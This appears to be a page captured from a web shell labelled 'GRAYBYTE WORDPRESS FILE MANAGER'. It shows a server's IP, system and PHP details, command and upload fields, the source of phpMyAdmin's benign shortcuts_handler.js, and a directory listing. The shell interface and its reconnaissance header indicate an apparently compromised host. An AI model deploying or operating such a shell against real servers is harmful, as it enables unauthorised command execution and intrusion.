GRAYBYTE WORDPRESS FILE MANAGER1522

Server IP : 3.104.188.249 / Your IP : 216.73.217.141
System : Linux ip-172-26-1-242 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
PHP Version : 8.3.31
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : ON | Pkexec : OFF
Directory : /usr/share/phpmyadmin/js/src/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/phpmyadmin/js/src//shortcuts_handler.js
/**
 * @fileoverview    Handle shortcuts in various pages
 * @name            Shortcuts handler
 *
 * @requires    jQuery
 * @requires    jQueryUI
 */

/* global Console */ // js/console.js

/**
 * Register key events on load
 */
$(function () {
    var databaseOp = false;
    var tableOp = false;
    var keyD = 68;
    var keyT = 84;
    var keyK = 75;
    var keyS = 83;
    var keyF = 70;
    var keyE = 69;
    var keyH = 72;
    var keyC = 67;
    var keyBackSpace = 8;
    $(document).on('keyup', function (e) {
        // is a string but is also a boolean according to https://api.jquery.com/prop/
        if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) {
            return;
        }

        if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') {
            return;
        }

        if (e.keyCode === keyD) {
            setTimeout(function () {
                databaseOp = false;
            }, 2000);
        } else if (e.keyCode === keyT) {
            setTimeout(function () {
                tableOp = false;
            }, 2000);
        }
    });
    $(document).on('keydown', function (e) {
        // is a string but is also a boolean according to https://api.jquery.com/prop/
        if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) {
            return;
        }

        // disable the shortcuts when session has timed out.
        if ($('#modalOverlay').length > 0) {
            return;
        }
        if (e.ctrlKey && e.altKey && e.keyCode === keyC) {
            Console.toggle();
        }

        if (e.ctrlKey && e.keyCode === keyK) {
            e.preventDefault();
            Console.toggle();
        }

        if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') {
            return;
        }

        var isTable;
        var isDb;
        if (e.keyCode === keyD) {
            databaseOp = true;
        } else if (e.keyCode === keyK) {
            e.preventDefault();
            Console.toggle();
        } else if (e.keyCode === keyS) {
            if (databaseOp === true) {
                isTable = CommonParams.get('table');
                isDb = CommonParams.get('db');
                if (isDb && ! isTable) {
                    $('.nav-link .ic_b_props').first().trigger('click');
                }
            } else if (tableOp === true) {
                isTable = CommonParams.get('table');
                isDb = CommonParams.get('db');
                if (isDb && isTable) {
                    $('.nav-link .ic_b_props').first().trigger('click');
                }
            } else {
                $('#pma_navigation_settings_icon').trigger('click');
            }
        } else if (e.keyCode === keyF) {
            if (databaseOp === true) {
                isTable = CommonParams.get('table');
                isDb = CommonParams.get('db');
                if (isDb && ! isTable) {
                    $('.nav-link .ic_b_search').first().trigger('click');
                }
            } else if (tableOp === true) {
                isTable = CommonParams.get('table');
                isDb = CommonParams.get('db');
                if (isDb && isTable) {
                    $('.nav-link .ic_b_search').first().trigger('click');
                }
            }
        } else if (e.keyCode === keyT) {
            tableOp = true;
        } else if (e.keyCode === keyE) {
            $('.ic_b_export').first().trigger('click');
        } else if (e.keyCode === keyBackSpace) {
            window.history.back();
        } else if (e.keyCode === keyH) {
            $('.ic_b_home').first().trigger('click');
        }
    });
});

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 27 2026 03:19:02
root / root
0755
codemirror
--
May 27 2026 03:19:01
root / root
0755
database
--
May 27 2026 03:19:02
root / root
0755
designer
--
May 27 2026 03:19:02
root / root
0755
jqplot
--
May 27 2026 03:19:01
root / root
0755
server
--
May 27 2026 03:19:02
root / root
0755
setup
--
May 27 2026 03:19:02
root / root
0755
table
--
May 27 2026 03:19:02
root / root
0755
transformations
--
May 27 2026 03:19:02
root / root
0755
ajax.js
33.956 KB
February 07 2023 21:35:11
root / root
0644
chart.js
18.289 KB
February 07 2023 21:35:11
root / root
0644
common.js
5.139 KB
February 07 2023 21:35:11
root / root
0644
config.js
25.604 KB
February 07 2023 21:35:11
root / root
0644
console.js
56.875 KB
February 07 2023 21:35:11
root / root
0644
cross_framing_protection.js
0.413 KB
February 07 2023 21:35:11
root / root
0644
doclinks.js
18.542 KB
February 07 2023 21:35:11
root / root
0644
drag_drop_import.js
14.276 KB
February 07 2023 21:35:11
root / root
0644
error_report.js
10.337 KB
February 07 2023 21:35:11
root / root
0644
export.js
34.371 KB
February 07 2023 21:35:11
root / root
0644
export_output.js
0.393 KB
February 07 2023 21:35:11
root / root
0644
functions.js
162.855 KB
February 07 2023 21:35:11
root / root
0644
gis_data_editor.js
14.37 KB
February 07 2023 21:35:11
root / root
0644
home.js
5.956 KB
February 07 2023 21:35:11
root / root
0644
import.js
6.021 KB
February 07 2023 21:35:11
root / root
0644
indexes.js
30.497 KB
February 07 2023 21:35:11
root / root
0644
jquery.sortable-table.js
11.024 KB
February 07 2023 21:35:11
root / root
0644
keyhandler.js
2.222 KB
February 07 2023 21:35:11
root / root
0644
makegrid.js
97.521 KB
February 07 2023 21:35:11
root / root
0644
menu_resizer.js
6.426 KB
February 07 2023 21:35:11
root / root
0644
multi_column_sort.js
1.341 KB
February 07 2023 21:35:11
root / root
0644
name-conflict-fixes.js
0.043 KB
February 07 2023 21:35:11
root / root
0644
navigation.js
58.817 KB
February 07 2023 21:35:11
root / root
0644
normalization.js
28.835 KB
February 07 2023 21:35:11
root / root
0644
ol.mjs
1.026 KB
February 07 2023 21:35:11
root / root
0644
page_settings.js
2.006 KB
February 07 2023 21:35:11
root / root
0644
replication.js
3.714 KB
February 07 2023 21:35:11
root / root
0644
shortcuts_handler.js
3.724 KB
February 07 2023 21:35:11
root / root
0644
sql.js
39.279 KB
February 07 2023 21:35:11
root / root
0644
u2f.js
3.394 KB
February 07 2023 21:35:11
root / root
0644
webauthn.js
4.344 KB
February 07 2023 21:35:11
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF